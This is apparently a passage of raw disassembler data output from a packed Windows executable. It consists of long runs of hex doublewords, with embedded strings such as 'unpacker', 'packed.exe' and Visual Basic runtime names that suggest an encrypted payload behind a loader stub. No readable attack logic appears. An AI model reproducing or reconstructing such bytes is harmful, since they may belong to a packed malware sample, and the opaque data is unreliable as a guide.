		dd 477BADB7h, 47D1366Dh, 7D7926CBh, 0FDB6F915h,	7DE53BBDh
		dd 0B8F31554h, 0CD7FD9FBh, 62C3C8FDh, 406962A8h, 8D7101ABh
		dd 0E227A2h, 9B6F0000h,	27C6AE14h, 926A1A88h, 23BBA719h
		dd 836E168Ch, 4FAA61Ch,	4C366988h, 0F6ECBF18h, 643E6D8Eh
		dd 0EDD3D830h, 258F37DFh, 13428DD7h, 5A77EF16h,	0D1275B45h
		dd 77BDE8DAh, 0FB894A61h, 38AC1CDDh, 104494E8h,	19A61CCEh
		dd 9C34240Fh, 0C9CD6B40h, 0ABC00F41h, 8109ED3Eh, 0BD723817h
		dd 0AC65A3E5h, 52B5C018h, 18B09859h, 0BD7238ACh, 34A06A9Ch
		dd 0E01AD7D4h, 17F62E2Ah, 2193339Bh, 17BD72A6h,	0C2153DE5h
		dd 751D8395h, 201893h, 0F9F6CD34h, 0DCF50332h, 225A346Ch
		dd 0B368DC6Ch, 1E60BD72h, 0A7763F06h, 62985956h, 9AFA92A8h
		dd 0FBA26A7Eh, 4C5F7D15h, 37A53387h, 7536D22Ah,	2A81570Bh
		dd 6546A62Eh, 0F8167ED3h, 87416A81h, 0ACB5194Ah, 89F7B454h
		dd 67ACFFD9h, 352h, 59402300h, 874C6377h, 23D0DBFDh, 0A0515AB1h
		dd 1BD8D334h, 9A5748A9h, 1BD8C72Ah, 995A55A9h, 19DAD12Bh
		dd 0B45D52ABh, 0E2895252h, 4C281h, 0EA830000h, 24148704h
		dd 5124248Bh, 0C181E189h, 4, 4E981h, 0C870000h,	4895C24h
		dd 5BA56824h, 1C890000h, 4EC8324h, 0BA241489h, 61931E3h
		dd 815AD089h, 4ECh, 24248900h
		dd 4240481h, 5B000000h,	8BA52h,	0DA010000h, 24348150h
		dd 10CA1255h, 3281028Fh, 10CA1255h, 2434FF5Ah, 4C4815Bh
		dd 8B000000h, 89522404h, 4C281E2h, 81000000h, 4C2h, 24148700h
		dd 5FEE95Ch, 357FFFBh, 9DE22AF0h, 0FFB819F8h, 3061940h
		dd 0CAE0FFC5h, 484B5727h, 2841101Fh, 0CB0C7439h, 3C174C7Ah
		dd 0C53FF86h, 82651F61h, 0C445FC5Fh, 80563EBBh,	69751085h
		dd 120F10D0h, 6A4D36C6h, 63507445h, 7E241954h, 0CB1513FCh
		dd 0BA051D38h, 3599D00h, 6547CC24h, 9A143D07h, 0E848F8D2h
		dd 10h,	56150450h, 0A09A9B94h, 0CF61081Ah, 88F054Dh, 0D1F728B8h
		dd 0D7815B1Eh, 2D6DE103h, 5A3BC381h, 860F0000h,	5, 3CC88166h
		dd 166968CBh, 0CDB40000h, 0C840F59h, 60000000h,	0D0EABA66h
		dd 6A17DE81h, 8B6119D0h, 0F575713h, 86h, 815E5E00h, 0EF33A6C2h
		dd 0EA81F85Eh, 30A1BDD6h, 0CD36C281h, 13893FE7h, 0BCEB81F8h
		dd 0E81186C0h, 9, 5B23C443h, 0BAB11C52h, 5FC38B81h, 0C0B8C381h
		dd 0F8571186h, 1E9815Eh, 0F000000h, 0FFFFB285h,	0B2DF81FFh
		dd 8D0509BEh, 1943C38Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0B813FDE9h, 16B5B529h
		dd 8D890613h, 6131BBDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 10C35242h, 6FD1BC45h,	8BE07850h, 131721BDh
		dd 0DD85C706h, 0E4061318h, 6A000059h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0F947C357h
		dd 0C2565B97h, 899C471Dh, 13348995h, 5585C706h,	61330h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0B8D2C355h, 4ABDF9CDh,	66600F31h
		dd 9746E781h, 0CE9h, 0BFF89300h, 6ABEDBD0h, 2B70CCA7h
		dd 0B5FF61DAh, 613125Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 63C35141h, 8D297130h,	6130EC5h, 5E9h
		dd 1FB78900h, 95FF9787h, 6131D89h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0B2C35141h,	8ACA3677h, 221D9589h
		dd 6A0613h, 0DA995FFh, 0C08B0613h, 0C7DC08EBh, 7E0EA353h
		dd 77E9AFC8h, 70000001h, 0DD1459DDh, 437C8360h,	5F6D5C3Ah
		dd 61706E75h, 72656B63h, 63617000h, 2E64656Bh, 657865h
		dd 3Ah dup(0)
		dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h
		dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h
		dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh
		dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h
		dd 654Eh, 6 dup(0)
		dd 0F3E90000h, 6800001Bh, 6194749h, 0FA3C07E9h,	483268FFh
		dd 0FDE90619h, 68FFFA3Bh, 6194959h, 0FA3BF3E9h,	4A0068FFh
		dd 0E9E90619h, 68FFFA3Bh, 6194A3Fh, 0FA3BDFE9h,	4B1F68FFh
		dd 0D5E90619h, 68FFFA3Bh, 6194B85h, 0FA3BCBE9h,	4BCC68FFh
		dd 0C1E90619h, 68FFFA3Bh, 619531Ah, 0FA3BB7E9h,	53C268FFh
		dd 0ADE90619h, 68FFFA3Bh, 61954ABh, 0FA3BA3E9h,	558468FFh
		dd 99E90619h, 68FFFA3Bh, 61955E6h, 0FA3B8FE9h, 56D968FFh
		dd 85E90619h, 68FFFA3Bh, 6195779h, 0FA3B7BE9h, 580D68FFh
		dd 71E90619h, 68FFFA3Bh, 6195E95h, 0FA3B67E9h, 5F7168FFh
		dd 5DE90619h, 68FFFA3Bh, 619600Eh, 0FA3B53E9h, 0D87ECCFFh
		dd 0C886D8FAh, 0D674C8EAh, 0CF81D2F8h, 0D87CC9EFh, 764CBFAh
		dd 163C9ABAh, 0C2E8CC6h, 0F3191B7h, 23308EBEh, 0FB4DC93Ch
		dd 31616B6h, 70E5C25Fh,	109DB516h, 0F419BEDFh, 29BF1439h
		dd 3283D51Fh, 230C4B1Ah, 0E0FB8E21h, 81D0F257h,	76C709D3h
		dd 0B1B8F8D6h, 2A87F6D5h, 23168F2Ch, 90A1B1FFh,	0DDFA6771h
		dd 8B282EA8h, 0F796F70Ah, 0EB5DF2D8h, 32B13B5Ah, 8B2843C3h
		dd 0DB709A0Ah, 9BB5062Ch, 0D9814BCAh, 5AAC951Bh, 30C3h
		dd 0BEA39700h, 9B7AEBC8h, 6C168E98h, 69E91829h,	0C00A8A89h
		dd 9F01AC93h, 6180B70Bh, 0D0D9F02Bh, 4D97F63Eh,	562646C3h
		dd 0FE5AAD64h, 0C5h, 0E06CBD64h, 74E06D51h, 0FC50E1E5h
		dd 8AF9F8DFh, 0D21B001Bh, 0E6775B0Ah, 1154866h,	0A5109DE3h
		dd 0B79B3814h, 0F5142525h, 7ACBEDEBh, 5E4483D2h, 50B180CAh
		dd 8B352C88h, 14A2BC76h, 6611B6C3h, 21BB6CDh, 2109A6C7h
		dd 0ED20BF93h, 109DD471h, 0C411DB3Ah, 8ED9AC91h, 0A2008516h
		dd 0AC0B7B66h, 75305439h, 0CBE82D10h, 0DCFA5AE7h, 78ED67F6h
		dd 79F9038Ah, 5FE1FCABh, 6000019h, 1A409EB8h, 22886C8h
		dd 1C3E9CAEh, 32585CBh,	0D409EB6h, 0D87CC922h, 0CA88D8FAh
		dd 0D771C6ECh, 0CC80D1F7h, 8BFAE5EEh, 16B6FC0Fh, 0BD9DC1D8h
		dd 0E9C6E470h, 8EDF73C1h, 4293C50Fh, 7156F647h,	8DE3CA35h
		dd 8E2C4D97h, 0C8BEA334h, 0C3A5C4EBh, 3F76CD5Fh, 0A80FAFB7h
		dd 0E4775C94h, 449E0564h, 7E7AD8F4h, 0A7B5860h,	168EE60Bh
		dd 59A8B9DCh, 0A8AD5F9h, 0FB240350h, 2A3F8BD5h,	59B5A498h
		dd 220A8AEEh, 1AAFD9E3h, 0ACD322F2h, 0A68A5Ah, 0BDB00000h
		dd 6D51E06Ch, 94E574E0h, 109DB182h, 19B99326h, 97A6A637h
		dd 99365099h, 0A83024B1h, 0B6573AABh, 0ED30168Eh, 0EE98D1CDh
		dd 3658E9D1h, 8AA34BC7h, 90F1140Ah, 29B39D2Eh, 1C5B92Ch
		dd 5FBE1075h, 490B5A80h, 5AFA4769h, 0F8E34927h,	0BA975679h
		dd 1876h, 0D3F363EFh, 0D1F15DEDh, 0CDED5DEFh, 0D6F45CEBh
		dd 0CFEF65F4h, 0AB3A53DCh, 992709A9h, 0A43719B9h, 912406A4h
		dd 114E1BBBh, 0B6FD82DCh, 6CD64B16h, 0C7E470BDh, 68F951E3h
		dd 8FB19F29h, 86B10E3Eh, 0EC549CB0h, 90672427h,	0DAAB04A1h
		dd 852331BBh, 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 8EAA7C29h
		dd 0D160A516h, 0D381D0F2h, 961C7A09h, 17730A8Ah, 7BA7AA2h
		dd 7B5C5AADh, 8A9D900Ah, 0AC34590Ah, 0E375h, 0F4694600h
		dd 0A8A9D9Ah, 0F4175C63h, 0A5423101h, 0B962FCC4h, 0DDA9C0D9h
		dd 0A5EE8FFEh, 486F168Eh, 3ED38D31h, 0CB18A042h, 92426D4Ah
		dd 5BFA6E16h, 0BA6BE716h, 0D1340A89h, 0E66728B0h, 0BDF3193Ah
		dd 0C312B1B8h, 2F7EC091h, 86254425h, 5A3181A9h,	97F64709h
		dd 9E2667F6h, 0E008D66Fh, 19B6D73Bh, 26AEA231h,	438069C7h
		dd 8C0D5CF4h, 0C6F1CEEDh, 0C6746590h, 4DBC045Eh, 35CA0AFEh
		dd 0C9B6646Bh, 43A9CD4Eh, 298EAB4Ch, 85CADBBh, 65422342h
		dd 4260EC3Dh, 0A7FCD60h, 9F4949F0h, 4F478229h, 16000017h
		dd 0A308EC8h, 123896B8h, 0C2E8CBEh, 133595BBh, 0FD308EC6h
		dd 0C88CD932h, 0DA78C8EAh, 0C781D6FCh, 0DC70C1E7h, 7BEAF5FEh
		dd 16B6FE1Fh, 0BD8DB1E8h, 5351E06Ch, 2A5B780Eh,	168EAA7Fh
		dd 0EB4565A8h, 0A9C0D9B9h, 0F9E1FEDDh, 3554E569h, 0A5DD5CABh
		dd 795E168Eh, 51BB085Dh, 0E16BBEC2h, 88503150h,	321DBADBh
		dd 6E2F6AD1h, 3612A50Ch, 18C8D57h, 91A16277h, 0F5D2B4ADh
		dd 51C3E980h, 9AABEA89h, 6443439Eh, 0D160EA3Eh,	0BA2B28B0h
		dd 833BC38Dh, 163C9BFAh, 72989C3h, 0E1E396B6h, 6ECBB19h
		dd 16A86A67h, 71BD0000h, 53E3C5E5h, 63F5DBFBh, 52E1C7E7h
		dd 6BFAE0FEh, 55DAC9E9h, 0BABA938h, 1BBB9725h, 8A6A235h
		dd 1DBD8F22h, 80DA0B54h, 4916B6FFh, 6CBD6ED0h, 9B7D6DE0h
		dd 0DF8E8621h, 166902h,	0E86EFC00h, 0F856E8CAh,	0E664F8DAh
		dd 0FF51E2C8h, 0E86CF9DFh, 3754DBCAh, 260CAAAAh, 3C1EBC96h
		dd 1F01A1A7h, 5320BE8Eh, 0FF7DD90Ch, 0D34616B6h, 1D6CBD6Fh
		dd 1071C08Ch, 9DC4E071h, 429BCAE9h, 3168E97h, 89FA2482h
		dd 2E8DF9F0h, 3196BC0Ch, 0E80CB3FCh, 0F1EEF641h, 7AB4FD7Ch
		dd 79CC0E10h, 0EF4082D3h, 0D0B1D061h, 62F35DEEh, 2CA14223h
		dd 800E0A00h, 8423637Eh, 0BEEED851h, 0F766496Dh, 61BAD99Bh
		dd 4A972164h, 233E7ACBh, 20410FA0h, 0EE255283h,	739267A8h
		dd 498C6B54h, 1FE6F578h, 0A3DF74EEh, 0B9D83D5Bh, 0CE213212h
		dd 2CB48A1Ah, 0BE2F102Fh, 5BA43C64h, 0EEE0E82Dh, 0ED9A2E5Bh
		dd 0C190F15Dh, 3BF75382h, 5DC05BA4h, 4469A3Ch, 0D2634565h
		dd 21D1077Ah, 5F0ED128h, 158982h, 0C88EDC00h, 0D876C8EAh
		dd 0C684D8FAh, 0DF71C2E8h, 0C88CD9FFh, 1774BBEAh, 62C8ACAh
		dd 1C3E9CB6h, 0FF2181C7h, 33409EAEh, 5DB92Ch, 0F32616B7h
		dd 0B516704Fh, 704F109Dh, 9DB4A1FDh, 0A12B6A10h, 9DA4E462h
		dd 9573D310h, 8BB4109Dh, 8FB5664Bh, 2814B3Dh, 109D8384h
		dd 0AADF6DC0h, 86216A78h, 23CF0AA1h, 42000015h,	5E4462F4h
		dd 0FE2482CCh, 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh
		dd 0AEA43416h, 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B7007Bh
		dd 0A371CD44h, 7AEBC8BEh, 168E98F7h, 0B0D88D10h, 0C5800E6Eh
		dd 14DC2B26h, 3D890000h, 4797B919h, 2F81A707h, 4695BB1Bh
		dd 3786AC0Ah, 0A18EBD1Dh, 7757FD4Ch, 6F4F0351h,	7452F649h
		dd 7151FB4Eh, 9CF66768h, 6516B6FFh, 6CBD122Ch, 0DC6D51E0h
		dd 0B01AE170h, 0E623F11Bh, 3D8BA341h, 0AF000000h, 9DB51270h
		dd 93FB4E10h, 0B4C541B4h, 0F8E109Dh, 9DB5045Eh,	2948CD10h
		dd 5C03A58Ah, 0EF65EB19h, 8384F7E5h, 8610C66Dh,	14689AB7h
		dd 8DB50000h, 41B4133Fh, 10426AC5h, 1BC50F8Eh, 51E06CBDh
		dd 28B50E53h, 9DFC1D2Ch, 0A596CF3Eh, 6847168Eh,	0A4BC1647h
		dd 850A8Ah, 8AA4F551h, 955FBE0Ah, 3815B5D8h, 0A56CE617h
		dd 0D0350A8Ah, 0D1B5AC08h, 750683F2h, 88CF107Bh, 2FF76715h
		dd 67F6978Ah, 5979D163h, 7707AB2Ah, 3157E704h, 0E9639BB5h
		dd 2A88E9DDh, 0C998B608h, 5563585h, 8C6A7485h, 21408592h
		dd 0A3D2F110h, 476FC27h, 0EFCCADF0h, 81D078CBh,	6129B800h
		dd 0EA052E7h, 0ACA6240h, 0B25098ADh, 254h, 977E1A05h, 0B798498Ah
		dd 684F1B87h, 943380ABh, 76D4E561h, 656FAE04h, 0C8BEA3FBh
		dd 91477AEBh, 5DC0168Eh, 0D678CA0Ch, 0B80D2F8h,	63F293BBh
		dd 8A80B412h, 0EF5DF00Ah, 62E87C5Eh, 2C9D2BD3h,	7FFC9639h
		dd 0EBCB83D3h, 0F3D0B6ABh, 79AD8FCCh, 8F2C26A6h, 8A9F045Eh
		dd 8048CD0Ah, 9C1F2253h, 95F8107Bh, 213382C4h, 42129F81h
		dd 990682F3h
		dd 533F0477h, 97BD0CB6h, 94F2F737h, 9EA3C637h, 96BC0A68h
		dd 0DD6C0D47h, 0C6E468F9h, 6AFB51E4h, 648BBF1Bh, 6DDEF4FEh
		dd 8B2824B5h, 7A089DA4h, 0B84269EBh, 25B81A4Dh,	99BF9D27h
		dd 12340549h, 0E318EC0h, 0C7B69C2Ch, 0FE63C84Bh, 78E7F114h
		dd 99840456h, 9F2B73ACh, 577BCAABh, 68FB4A0Ah, 3EA4912Ah
		dd 3B8B37D4h, 3B8CFD50h, 0B5157415h, 87945F1Dh,	98074Eh
		dd 0BD5B0000h, 0BE922170h, 0B00F6EAFh, 43F3C187h, 9F2968A9h
		dd 991C0340h, 5A78834Bh, 0E754E794h, 1DC0EAC0h,	18A0C18Dh
		dd 9CADA736h, 38DF5CF6h, 16CE617h, 0D035109Eh, 0DD77C608h
		dd 0AA9765FDh, 533FA341h, 23000000h, 51E06CBDh,	0E170DC6Dh
		dd 33024EDDh, 0BC8DBD0Fh, 0A552E72Bh, 9DB4D630h, 1F7E9F10h
		dd 32E059F7h, 0B50DAD9Fh, 0A341E6E7h, 254Fh, 0F94A7000h
		dd 0A3D38D57h, 7AEBC8BEh, 168EBA77h, 0CD3C0D90h, 0A8AA84Dh
		dd 0ABD16AA4h, 5AAD15EDh, 0D355h, 0BEA3E900h, 0C796B205h
		dd 55882746h, 168EBC10h, 390E9EA9h, 8E428D02h, 1475143Eh
		dd 0FE290645h, 0AF3E81Dh, 419DCC72h, 0A0A8A10h,	0BF0F418Bh
		dd 0B90A308Fh, 2E0F4D97h, 2F50209h, 0A918C2FCh,	0AB4B6BADh
		dd 80D21A7Bh, 97F3622Eh, 600A8A19h, 19940E7Fh, 385D0A8Ah
		dd 0D7687259h, 249DA6A4h, 0F5446645h, 0F4D6955Fh, 0EBCFEC62h
		dd 81D0F25Ah, 0B45A09D3h, 5DEDA516h, 65E11433h,	2E0A8AB4h
		dd 0B4247EEFh, 9580A8Ah, 0CC9BFA4Bh, 328A2849h,	5AAD1562h
		dd 35CAh, 0BDA37000h, 0F975E8C7h, 26F624Bh, 65FB2483h
		dd 0F478AFDCh, 0AADB8A52h, 909E9E2Ch, 0D2614976h, 9F1C767Eh
		dd 0D6F58FD9h, 63330BA7h, 0D1F114EFh, 7F6h, 61C45C00h
		dd 6A000000h, 6A196BBDh, 0FD1EAA9Bh, 0FA26E8EAh, 0BCD51ED5h
		dd 684F8CDDh, 0F75968B7h, 0BF11DB0Dh, 0D9FFDF6Fh, 5774C589h
		dd 0FC2B0C70h, 0C87C1Ah, 87D6AAB4h, 62B095F6h, 0C4E3F0EFh
		dd 9E1A3591h, 0ED9FE10h, 0DA860E8Fh, 2D7D2140h,	0DC6D9721h
		dd 4198E0B0h, 0A59D82A3h, 25056B1Bh, 0BF940BD5h, 0AA00000Bh
		dd 74C5BBA3h, 3680FE05h, 50726199h, 0D8FF4EFCh,	7B302FD0h
		dd 0AA32531Fh, 163CEB60h, 5ABB8AC4h, 1B0ACA92h,	0C6ECD515h
		dd 0C8DDC76h, 505DC4h, 0C2010000h, 0E3961DDDh, 844C648Ah
		dd 75522E38h, 86007552h, 4F109E2Ch, 34E3D408h, 0BEDF43FFh
		dd 0CE7BD736h, 0C144109Dh, 0E16FC0E2h, 3FF988D7h, 4AB9EE92h
		dd 53214BC0h, 35F5CDA1h, 0FC67E312h, 27306729h,	302222DEh
		dd 9D3B202h, 24F92h, 0BBA3A800h, 0A78169C5h, 1670E5C2h
		dd 0DF109DB5h, 912436BEh, 0E1FE9FBBh, 2C206AF9h, 12E5DC3Eh
		dd 924C94F5h, 41DE9947h, 4E41A6h, 0A3150000h, 7CD607BBh
		dd 0B5109DB5h, 9DB4C640h, 410E8F10h, 0B573EF1Eh, 0D93C109Dh
		dd 0C27DD9B8h, 0ECD0BAE5h, 4F357F3Ch, 9F870685h, 3558109Eh
		dd 0BD68C219h, 0DA00DF6Bh, 1574C587h, 0E5C211CBh, 9DB51670h
		dd 36BEDF10h, 25C43EE4h, 6A000000h, 69C5BBA3h, 0B53293C2h
		dd 0A829109Dh, 4CE0C28Eh, 49E9F6FEh, 83DF6BBDh,	1670E5C2h
		dd 0DF109DB5h, 3EE436BEh, 63CB1B70h, 5EF643D4h,	45075A80h
		dd 1E368325h, 44065A80h, 0D084D1F5h, 0E8610B81h, 3754CE3Fh
		dd 0F81D4B9Fh, 4ABF4999h, 2824B59Dh, 40A23219h,	58EC95Eh
		dd 0E77A5C64h, 725D8265h, 3D6E7792h, 0FD4F997Eh, 0DCC2A0ACh
		dd 0AF4CC63Ah, 0BE902208h, 0BB912436h, 9DAF0258h, 0B68EDBFDh
		dd 4B9F8457h, 0C0922228h, 11711071h, 0EC435C3h,	2C6E91BBh
		dd 0A9A6B79Dh, 0D31D3181h, 345ED27Dh, 0F65EEB97h, 0C097EED9h
		dd 0DC6DDB70h, 0DD5116BDh, 4365737Dh, 963C5AF2h, 679CFD47h
		dd 286D4B9Fh, 75D3684Ah, 0FC4EE2E4h, 77C688DAh,	0AB9A2F61h
		dd 3082A895h, 6CE4F1Eh,	0F243EF8Ch, 0D061B95Ah,	422327B9h
		dd 109F8324h, 4890F140h, 2905302h, 0C488D989h, 0D82DC0E7h
		dd 1D13C5DFh, 4598C2D3h, 3282A807h, 587A9820h, 992B4B09h
		dd 9528DA6Fh, 0BD8E54B7h, 8146E06Ch, 51E0C2A7h,	138DED3Dh
		dd 35545372h, 2B598FABh, 0F9E1FE0Fh, 3657E66Ah,	0E5C234AEh
		dd 9DB51670h, 36BEDF10h, 41DEFEAEh, 3E66A6h, 0A3FC0000h
		dd 0C26BC7BDh, 0B8004EE0h, 0B4EB6A9Bh, 32C109Dh, 755299B6h
		dd 9BD293FEh, 0ED37CFF4h, 61BD308Fh, 2A109EA9h,	184E1EBh
		dd 0BD68C225h, 0BF891E6Dh, 340E6FAEh, 3EC4E37Dh, 6A000000h
		dd 0FF4DE0C2h, 0A2FC716Eh, 6B109DB4h, 35814B2Ah, 0C2FD592Bh
		dd 9DB53293h, 0FF4F7310h, 0B5025C91h, 4ACB109Dh, 0D7FB1A2Bh
		dd 1574C585h, 79D544CBh, 6DBD68C2h, 50E0C2E1h, 7D20BA02h
		dd 4EE0C2E3h, 8D03100h,	9DA64279h, 31D0ED10h, 6EFFFFFDh
		dd 9DB51270h, 562A3410h, 5785778h, 109DB489h, 0E04B6D52h
		dd 54867ED1h, 17A9AB35h, 77D32233h, 0B9109E4Bh,	0BC10C237h
		dd 0B80A308Eh, 0E7163996h, 109E4B6Bh, 0C907D134h, 60F193CDh
		dd 0CC7DFC11h, 0B69CBB52h, 0FD1C2D27h, 0FC2099F3h, 1EEBA43Ch
		dd 260A4h, 1170BA00h, 52109DB5h, 4A71DF70h, 1ADED632h
		dd 102CB45Dh, 310EADD9h, 6A3EA606h, 0E5EFC3DBh,	8F8C9BA6h
		dd 0A1018416h, 85572D7Fh, 17D8725h, 5AEE4165h, 52D2A3Bh
		dd 4CCD9CB8h, 8B005284h, 47163Eh, 8BD0EF40h, 43224330h
		dd 0D07ED0F2h, 483E2381h, 1587FA6Bh, 1D80107Ch,	0FBF90A68h
		dd 0C19C4B79h, 0D8Eh, 0EBCB8BD7h, 0F9D975C5h, 0E5C585D7h
		dd 0FEDC74C3h, 0E7C78DDCh, 0C3127BB4h, 0C10F3191h, 0BC0F3191h
		dd 0B90C2E8Ch, 29263393h, 0B7085AB4h, 54EE2316h, 351E0C2h
		dd 64697B9h, 0FB5786A9h, 0C4109DB4h, 0CCE87741h, 0AF992E95h
		dd 9FCEF1CEh, 109DB543h, 123F890Ch, 84F27BE3h, 0DAF91C16h
		dd 0C9E664F8h, 6DFC50E1h, 94B6A42Ch, 5AFA4740h,	95282A3Bh
		dd 5F8AA6B7h, 5CF04169h, 846FB12Dh, 7A1B7A0Ah, 62BD285Dh
		dd 0F9D61075h, 715D0A84h, 2AB2D304h, 84495BDh, 8AC61539h
		dd 5A3B5ABBh, 0F542D927h, 6A670679h, 0CE6h, 8323337Fh
		dd 61410D9Dh, 7D5DED3Fh, 66440C5Bh, 7F5FF544h, 3B8AE34Ch
		dd 4997B919h, 3487A909h, 4194B614h, 0C19EAB0Bh,	0B707D24Ch
		dd 0DC869B16h, 51E06CBDh, 0A6205572h, 0DA109DB4h, 1479C688h
		dd 477970CCh, 0B71C36F8h, 6946278Eh, 8EED29F4h,	13B3D216h
		dd 12B09C2Dh, 90BC0D35h, 91F5EC48h, 0CABB1032h,	0A9B8D97Bh
		dd 0C01A4B68h, 890A8AD6h, 0C09FBC04h, 3706489Ah, 407F0ED6h
		dd 0CD107214h, 1446B48h, 0C2C91BC6h, 391FB219h,	0CA1BFCFDh
		dd 5BEDD502h, 0A2B3992Ch, 7DA50263h, 0FC9C582Ah, 1436C67Ch
		dd 4B6D6B75h, 0BE0051F9h, 0A7461B6Bh, 0FC98DAD2h, 77C688DAh
		dd 0CAE67716h, 0E7C8E79Fh, 3D3995C8h, 83020471h, 305FCA39h
		dd 52780A62h, 0E9864E00h, 2A1B77E6h, 0A1E4FE5Eh, 10598DC0h
		dd 0BB7273E2h, 0BFD9Eh,	7CDA6800h, 64EA7C5Eh, 7AD06446h
		dd 6BE5765Ch, 7CD8654Bh, 0ABC06F5Eh, 0B298361Eh, 0B0923022h
		dd 0AB8D2D1Bh, 0C794321Ah, 8F95588h, 4FC216B7h,	0E06CBDF3h
		dd 0FD4DDFC3h, 44A32D6Ch, 268501E8h, 559FB504h,	0A01CD508h
		dd 789D168Eh, 68E6785Ah, 76D6674Bh, 10700051h, 935D7285h
		dd 0F0426845h, 468E0F5Eh, 2C8AC014h, 0C8BEA38Eh, 51E6CCEBh
		dd 9D2766F7h, 8EB3D36Eh, 0A8B9DC16h, 8AACF959h,	45B6500Ah
		dd 0AD125917h, 8B015Ah,	0F0D20000h, 70EAF260h, 50E16DBDh
		dd 2735473h, 109DB488h
		dd 419DCC51h, 0A109DB4h, 0BF0F418Bh, 83D278CCh,	0B3B51144h
		dd 1F7E109Dh, 0C4E1F7Eh, 82C495BBh, 80C01E30h, 4FBE1D69h
		dd 168EBA1Eh, 599BCE4Fh, 5E800E8Bh, 0B2492CFh, 0F5410000h
		dd 0CF5F4161h, 0E7795F7Fh, 0CE5D4363h, 0AFFE2482h, 191605A5h
		dd 0CFEF65F4h, 0D7F75BE9h, 0CCEA5EF1h, 0D9F953E6h, 449ECF10h
		dd 0D16B70Ah, 6DBDAA94h, 4FE0C2E1h, 0BE99B701h,	54h, 236DBD24h
		dd 9DB558B2h, 9DFC2110h, 0D7970CCh, 0A5CA3FAEh,	42C3168Eh
		dd 0E88AF0Fh, 0C49E080h, 0AC2h,	9F3F17A3h, 852529B9h, 993911A3h
		dd 8A2828B7h, 9B3B19A8h, 0D76687A8h, 0ED7B5D7Dh, 0D0634565h
		dd 0E5785A78h, 557A4767h, 0B709A620h, 83A6F16h,	8C1D6CBDh
		dd 711071C0h, 14BDEE0h,	230C4B30h, 7B6D1293h, 335D6712h
		dd 0ADC6F196h, 6446533Fh, 0D8984088h, 80A3411Bh, 24Dh
		dd 0D0E9B9D6h, 0B4962A99h, 0F6D9F6D5h, 9DB50B87h, 0AB1D410h
		dd 3D019C13h, 0B84791CAh, 168EE939h, 0A528CB4Ah, 0DCF74DC6h
		dd 0EAC9BDA4h, 1F7BEACDh, 0E816F33Eh, 610052E2h, 3DB71342h
		dd 1D8016F3h, 34B934D3h, 85C21CE4h, 0E01DF650h,	3F5EBF10h
		dd 0AFD7122Eh, 0A1082F10h, 0B771630Eh, 5DC842B3h, 0C9110E0h
		dd 0D724636Dh, 4416CE71h, 6DC0E2C1h, 8ADA00DFh,	0F5D200C8h
		dd 0E127A3D2h, 0ADF00AC9h, 0B9EB5306h, 6E765150h, 0FE73D96Ch
		dd 804DA9AAh, 0CF2520C7h, 96000009h, 8AB00E48h,	92B81638h
		dd 8CAE0C3Eh, 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah
		dd 4701567Ch, 5CF04167h, 0FB6A757Eh, 16B70A9Fh,	0C20D3168h
		dd 7F4299DDh, 3983AE4Bh, 0B687C717h, 2546F7Ah, 0FD9CFD4Ch
		dd 0AFDE01DEh, 109E1433h, 0C781D6FCh, 6E761776h, 854F9E1Fh
		dd 516EAF16h, 6B75D969h, 9A66516Eh, 97167EF7h, 5EEF5BEDh
		dd 44965E3Fh, 5A805EF4h, 0BBF9480Ah, 92C3E0A6h,	1075993Bh
		dd 183A99FCh, 52D8AC8h,	4529AB6h, 75C48E1Eh, 194C0051h
		dd 79F57AB5h, 2F322FBEh, 36000009h, 2A10AEA8h, 3218B698h
		dd 2C0EAC9Eh, 3315B59Bh, 1D10AEA6h, 0E86CF912h,	0FA58E8CAh
		dd 0E761F6DCh, 0FC50E1C7h, 9BCA15DEh, 16B70C3Fh, 0C2AD9108h
		dd 0B51670E5h, 0BEDF109Dh, 55C94436h, 87109DB5h, 73E17052h
		dd 0D0AA1F69h, 2E8DF9F0h, 8E9366BFh, 0C9E62716h, 0C83D4FE1h
		dd 0A8A8F4Eh, 49C53817h, 120A8A8Fh, 0D4F392F3h,	63F25CEEh
		dd 7CBC9A22h, 53822165h, 1074F23Eh, 91B91677h, 8BAF0C40h
		dd 8AC81038h, 423715A8h, 79F8D1BAh, 9B1D38EFh, 0CA000008h
		dd 0D6FCDA7Ch, 0C6ECCA84h, 0D8FAD872h, 0C7E9C987h, 0C9FCDA7Ah
		dd 9CB80566h, 86CC1C3Eh, 9BAD0228h, 88C4153Bh, 0CF3E212Ah
		dd 16B70D53h, 7059051Ch, 109DB512h, 0FA4E7453h,	0B4A52150h
		dd 2F6E109Dh, 2A22B3A5h, 31558C8Ch, 0EB8AB592h,	0C383196Eh
		dd 1B0E7D47h, 0D4168F98h, 3A2D12B1h, 24DBE2E2h,	0C2E8F5FFh
		dd 0D6FCDB6Dh, 1978C983h, 0C9F81CFh, 23302D3Ch,	0B000008h
		dd 786AA024h, 0FEC6C500h, 0C8BEA364h, 0D474C7EBh, 0B39ECF0Ch
		dd 0C168EAFh, 7E578223h, 4E96EB3Ch, 9CED7CA1h, 0A8A273Eh
		dd 0D780F995h, 0E2EA62F3h, 0AD98BA7Ah, 13D225Ah, 0BD380000h
		dd 4B8FDE6Ah, 0C20455FDh, 4A8CDD6Fh, 527353F5h,	0B4860075h
		dd 0CE4F109Dh, 0C97FD406h, 5D213C78h, 0B3CB0F7Eh, 0E124109Dh
		dd 79127C50h, 0F4D276C9h, 7ECF79CEh, 66EA7961h,	0B2A72F5Eh
		dd 8F01109Dh, 456A4DFAh, 794750D1h, 96F061FBh, 5F109D45h
